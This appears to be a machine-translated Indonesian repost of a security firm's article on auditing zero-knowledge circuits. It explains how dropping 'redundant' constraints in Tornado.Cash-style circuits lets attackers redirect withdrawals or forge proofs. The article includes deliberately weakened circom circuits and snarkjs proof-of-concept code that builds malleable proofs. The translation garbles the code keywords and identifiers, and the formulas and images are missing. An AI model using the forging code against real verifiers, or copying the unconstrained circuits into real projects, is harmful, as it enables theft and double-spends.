Yang harus dibaca oleh pihak proyek ZKP: Audit Sirkuit—Apakah batasan yang berlebihan benar-benar mubazir?

Penulis artikel ini: Pakar riset keamanan Beosin Saya & Bryce

1. Perkenalan

Proyek ZKP (Zero-Knowledge Proof) terutama terdiri dari dua bagian: sirkuit off-chain dan kontrak on-chain.Bagian sirkuit melibatkan abstraksi kendala logika bisnis dan pengetahuan kriptografi dasar yang kompleks, sehingga bagian ini sulit dilakukan oleh pihak proyek. diterapkan, dan juga Kesulitan dalam mengaudit personel keamanan.**Berikut ini adalah kasus keamanan yang mudah diabaikan oleh pihak proyek - "kendala yang berlebihan" Tujuannya adalah untuk mengingatkan pihak proyek dan pengguna agar memperhatikan risiko keamanan terkait. **

2. Apakah batasan yang berlebihan dapat dihapus

Saat mengaudit proyek ZKP, Anda biasanya akan melihat batasan aneh berikut, namun banyak pihak proyek tidak benar-benar memahami arti spesifiknya.Untuk mengurangi kesulitan penggunaan kembali sirkuit dan menghemat konsumsi komputasi off-chain, beberapa batasan dapat dihapus, sehingga menyebabkan masalah keamanan:

Kami membandingkan jumlah kendala yang dihasilkan sebelum dan sesudah penghapusan kode di atas, dan menemukan bahwa ada atau tidaknya kendala di atas dalam proyek sebenarnya memiliki dampak kecil terhadap jumlah total kendala proyek, karena kendala tersebut mudah diabaikan oleh pihak proyek. optimasi otomatis.

Tujuan sebenarnya dari rangkaian di atas hanyalah untuk menambahkan sepotong data ke buktinya.Mengambil contoh Tornado.Cash, data tambahannya meliputi: alamat penerima, alamat relayer, biaya penanganan, dll., karena sinyal-sinyal ini tidak mempengaruhi perhitungan sebenarnya dari rangkaian selanjutnya. , sehingga dapat menimbulkan kebingungan di antara beberapa pihak proyek lainnya, sehingga mengeluarkan mereka dari rangkaian, mengakibatkan beberapa transaksi pengguna dirampok.

Berikut ini adalah proyek transaksi pribadi sederhana Tornado.Cash sebagai contoh untuk memperkenalkan serangan ini.Artikel ini menghapus sinyal yang relevan dan batasan informasi tambahan di sirkuit dan adalah sebagai berikut:

termasuk "../../../../node_modules/circomlib/sirkuit/bitify.circom"; include "../../../../node_modules/circomlib/circoms/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { input sinyal nullifier; rahasia masukan sinyal; komitmen keluaran sinyal; // keluaran sinyal nullifierHash; komponen komitmenHasher = Pedersen(496); // komponen nullifierHasher = Pedersen(248); komponen nullifierBits = Num2Bits(248); komponen secretBits = Num2Bits(248); nullifierBits.di <== nullifier; secretBits.in <== rahasia; untuk ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.keluar [i] ; komitmenHasher.in [i] <== nullifierBits.keluar [i] ; komitmenHasher.in[i + 248] <== secretBits.out [i] ; } komitmen <== komitmenHasher.out [0] ; // nullifierHash <== nullifierHasher.keluar [0] ;}// Memverifikasi bahwa komitmen yang sesuai dengan rahasia dan nullifier yang diberikan disertakan dalam pohon merekle dari deposittemplate Withdraw(levels) { signal input root; // masukan sinyal nullifierHash; komitmen keluaran sinyal; // penerima masukan sinyal; // tidak mengambil bagian dalam perhitungan apa pun // penyampai masukan sinyal; // tidak mengambil bagian dalam perhitungan apa pun // biaya masukan sinyal; // tidak mengambil bagian dalam perhitungan apa pun // pengembalian dana masukan sinyal; // tidak mengambil bagian dalam penghitung input sinyal apa pun; rahasia masukan sinyal; // elemen jalur masukan sinyal [levels] ; // jalur masukan sinyalIndeks [levels] ; komponen hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.rahasia <== rahasia; komitmen <== hasher.komitmen; // hasher.nullifierHash === nullifierHash; // pohon komponen = MerkleTreeChecker(level); // pohon.leaf <== hasher.komitmen; // pohon.root <== akar; // untuk ( i = 0; i < level; i++) { // tree.pathElements [i] <== elemen jalur [i] ; // pohon.pathIndices [i] <== pathIndices [i] ; // } // Tambahkan sinyal tersembunyi untuk memastikan bahwa gangguan pada penerima atau biaya akan membatalkan bukti snark // Kemungkinan besar itu tidak diperlukan, tapi lebih baik tetap aman dan hanya membutuhkan 2 batasan // Kotak adalah digunakan untuk mencegah pengoptimal menghilangkan batasan tersebut // signal receiverSquare; // biaya sinyalSquare; // relayer sinyalSquare; // sinyal refundSquare; // penerimaSquare <== penerima * penerima; // feeSquare <== biaya * biaya; // relayerSquare <== relayer * relayer; // refundSquare <== refund * refund;}component main = Penarikan(20);

Untuk memudahkan pemahaman, artikel ini menghapus bagian yang terkait dengan verifikasi Merkle Tree dan nullifierHash di sirkuit, dan juga memberi anotasi pada alamat penerima pembayaran dan informasi lainnya. Dalam kontrak on-chain yang dihasilkan oleh sirkuit ini, artikel ini menggunakan dua alamat berbeda untuk memverifikasi pada waktu yang sama.Terdapat bahwa kedua alamat berbeda tersebut dapat lolos verifikasi:

Namun ketika kode berikut ditambahkan ke batasan rangkaian, diketahui bahwa hanya alamat penerima yang ditetapkan dalam rangkaian yang dapat lolos verifikasi:

penerima masukan sinyal; // tidak mengambil bagian dalam relayer masukan sinyal komputasi apa pun; // tidak mengambil bagian dalam biaya input sinyal komputasi apa pun; // tidak mengambil bagian dalam perhitungan pengembalian dana masukan sinyal; // tidak mengambil bagian dalam perhitungan apa punpenerima sinyalKotak;biaya sinyalKotak;penyampai sinyalKotak;pengembalian dana sinyalKotak;penerimaKotak <== penerima * penerima;penerimaKotak <== penerima * penerima;biayaKotak <== biaya * biaya;relayerSquare <== relayer * relayer ;refundSquare <== pengembalian dana * pengembalian dana;

Oleh karena itu, ketika Bukti tidak terikat pada penerima, dapat diketahui bahwa alamat penerima dapat diubah sesuka hati dan bukti zk dapat diverifikasi.Kemudian ketika pengguna ingin menarik uang dari kumpulan proyek, ia dapat dirampok oleh SAYA. Berikut ini adalah contoh serangan MEV yang berjalan di depan pada DApp perdagangan privasi:

3. Cara menulis batasan berlebihan yang salah

Selain itu, ada dua kesalahan umum dalam penulisan di sirkuit, yang dapat menyebabkan serangan pembelanjaan ganda yang lebih serius: yang pertama adalah sinyal input diatur di sirkuit, tetapi sinyalnya tidak dibatasi, dan yang lainnya adalah satu dari beberapa batasan pada sinyal adalah Ada ketergantungan linier di antara keduanya. Gambar di bawah menunjukkan proses perhitungan Buktikan dan Verifikasi umum dari algoritma Groth16:

Pepatah menghasilkan bukti Bukti π = ( [A] 1, [C] 1, [B] 2):

Setelah Verifikator menerima pembuktian π[A, B, C], Verifikator menghitung persamaan verifikasi berikut ini. Jika sudah ditetapkan, verifikasi lolos, jika tidak, verifikasi gagal:

3.1 Sinyal tidak berpartisipasi dalam batasan

Jika sinyal publik tertentu Zi tidak memiliki batasan apa pun di sirkuit, maka untuk batasannya j, nilai rumus berikut selalu 0 (di mana rj adalah nilai tantangan acak yang perlu dihitung oleh Verifikator Prover):

Qh5M1gWNsintP7DUl6P0cDEHIdcnSchiB4YM50XY.png

Pada saat yang sama, ini berarti bahwa untuk Zi, setiap x memiliki rumus berikut:

Oleh karena itu, ekspresi berikut dalam persamaan verifikasi untuk sinyal x:

Karena persamaan verifikasinya adalah sebagai berikut:

Dapat diketahui bahwa berapapun nilai Zi yang diambil, hasil perhitungan ini selalu 0.

Artikel ini memodifikasi rangkaian Tornado.Cash sebagai berikut. Anda dapat melihat bahwa rangkaian tersebut memiliki 1 penerima sinyal input publik, dan 3 sinyal privat root, nullifier, dan secret. Penerima tidak memiliki batasan apa pun dalam rangkaian:

template Penarikan(level) { input sinyal root; komitmen keluaran sinyal; penerima masukan sinyal; // tidak mengambil bagian dalam penghitung input sinyal apa pun; rahasia masukan sinyal; komponen hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.rahasia <== rahasia; komitmen <== hasher.commitment;}komponen utama {publik [recipient] }= Penarikan(20);

Artikel ini akan diuji pada pustaka snarkjs terbaru versi 0.7.0, dan kode batasan implisitnya akan dihapus untuk menunjukkan efek serangan pembelanjaan ganda ketika tidak ada sinyal batasan di sirkuit.Kode inti exp adalah sebagai berikut:

fungsi async groth16_exp() { biarkan inputA = "7"; biarkan masukanB = "11"; biarkan masukanC = "9"; biarkan masukanD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; menunggu newZKey( penarikan2.r1cs, powerOfTau28_hez_final_14.ptau, penarikan2_0000.zkey, ) menunggu beacon( penarikan2_0000.zkey, penarikan2_final.zkey, "Suar Akhir", "0102030405060708090a0b0c0d0e0f1011121314151617 18191a1b1c1d1e1f", 10, ) const verifikasiKey = menunggu eksporVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") biarkan { proof, publicSignals } = menunggu groth16FullProve({ root: inputA, nullifier: inputB, rahasia: inputC, penerima: inputD }, "withdraw2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8 ") verifikasi(Sinyal publik, bukti); sinyal publik [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verifikasi(publicSignals, bukti);}

Anda dapat melihat bahwa kedua Bukti yang dihasilkan lolos verifikasi:

3.2 Batasan ketergantungan linier

gYomF7W3WdcnrQ3TiikO2QxX1fQgZ1mjl9o9erzo.png

template Penarikan(level) { input sinyal root; // masukan sinyal nullifierHash; komitmen keluaran sinyal; penerima masukan sinyal; // tidak mengambil bagian dalam komputasi relay input sinyal apa pun; // tidak mengambil bagian dalam penghitungan biaya masukan sinyal; // tidak mengambil bagian dalam perhitungan apa pun // pengembalian dana masukan sinyal; // tidak mengambil bagian dalam penghitung input sinyal apa pun; rahasia masukan sinyal; // elemen jalur masukan sinyal [levels] ; // jalur masukan sinyalIndeks [levels] ; komponen hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.rahasia <== rahasia; komitmen <== hasher.komitmen; masukan sinyal Kotak; // penerimaSquare <== penerima * penerima; // feeSquare <== biaya * biaya; // relayerSquare <== relayer * relayer; // refundSquare <== pengembalian dana * pengembalian dana; 35 * Kotak === (2penerima + 2relayer + biaya + 2) * (relayer + 4);}component main {public [penerima,Square]}= Penarikan(20);

Sirkuit di atas dapat menyebabkan serangan pembelanjaan ganda.Kode inti exp spesifiknya adalah sebagai berikut:

const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey, bagian: sectionZKey } = menunggu readBinFile("tornadocash_final.zkey", "zkey", 2 , 1 << 25, 1 << 23) const buffBasesC = menunggu readSection(fdZKey, sectionZKey, 8) fdZKey.close() const curve = menunggu buildBn128(); const Fr = kurva.Fr; const G1 = kurva.G1; const new_pi = Uint8Array baru(Fr.n8); Skalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); const match_pub = Uint8Array baru(Fr.n8); Skalar.toRprLE(matching_pub, 0, original_pub_input, Fr.n8); const sGIn = curve.G1.F.n8 * 2 const match_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( linear_factor, Fr.sub(matching_pub, new_pi)); const p = menunggu kurva.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAffine(G1.add(affine_c, p)) kembalikan stringifyBigInts(G1.toObject(malleable_c))}

Setelah memodifikasi sebagian kode perpustakaan, kami mengujinya pada snarkjs versi 0.7.0. Hasilnya menunjukkan bahwa kedua bukti palsu berikut dapat lolos verifikasi:

  • publiksingnal1 + bukti1

  • publiksingnal2 + bukti2

4 Perbaikan

4.1 kode perpustakaan zk

Saat ini, beberapa perpustakaan zk populer seperti perpustakaan snarkjs secara implisit akan menambahkan beberapa batasan ke sirkuit, seperti batasan paling sederhana:

Rumus di atas secara matematis selalu benar, jadi berapa pun nilai sinyal sebenarnya dan memenuhi batasan apa pun, rumus tersebut dapat ditambahkan secara implisit dan seragam ke rangkaian dengan kode perpustakaan selama penyetelan.Selain itu, batasan kuadrat di bagian pertama adalah digunakan di sirkuit. Ini adalah pendekatan yang lebih aman. Misalnya, snarkjs secara implisit menambahkan batasan berikut saat membuat zkey selama penyiapan:

4.2 Sirkuit

Saat pihak proyek mendesain sirkuit, karena pustaka zk pihak ketiga yang digunakan mungkin tidak menambah batasan tambahan selama penyiapan atau kompilasi,** kami merekomendasikan pihak proyek untuk mencoba memastikan integritas batasan pada tingkat desain sirkuit dan mengontrol secara ketat batasan di sirkuit Semua sinyal dibatasi secara hukum untuk memastikan keamanan, seperti batasan persegi yang ditunjukkan sebelumnya. **

Lihat Asli
Halaman ini mungkin berisi konten pihak ketiga, yang disediakan untuk tujuan informasi saja (bukan pernyataan/jaminan) dan tidak boleh dianggap sebagai dukungan terhadap pandangannya oleh Gate, atau sebagai nasihat keuangan atau profesional. Lihat Penafian untuk detailnya.
  • Hadiah
  • Komentar
  • Bagikan
Komentar
0/400
Tidak ada komentar
Perdagangkan Kripto Di Mana Saja Kapan Saja
qrCode
Pindai untuk mengunduh aplikasi Gate
Komunitas
Bahasa Indonesia
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)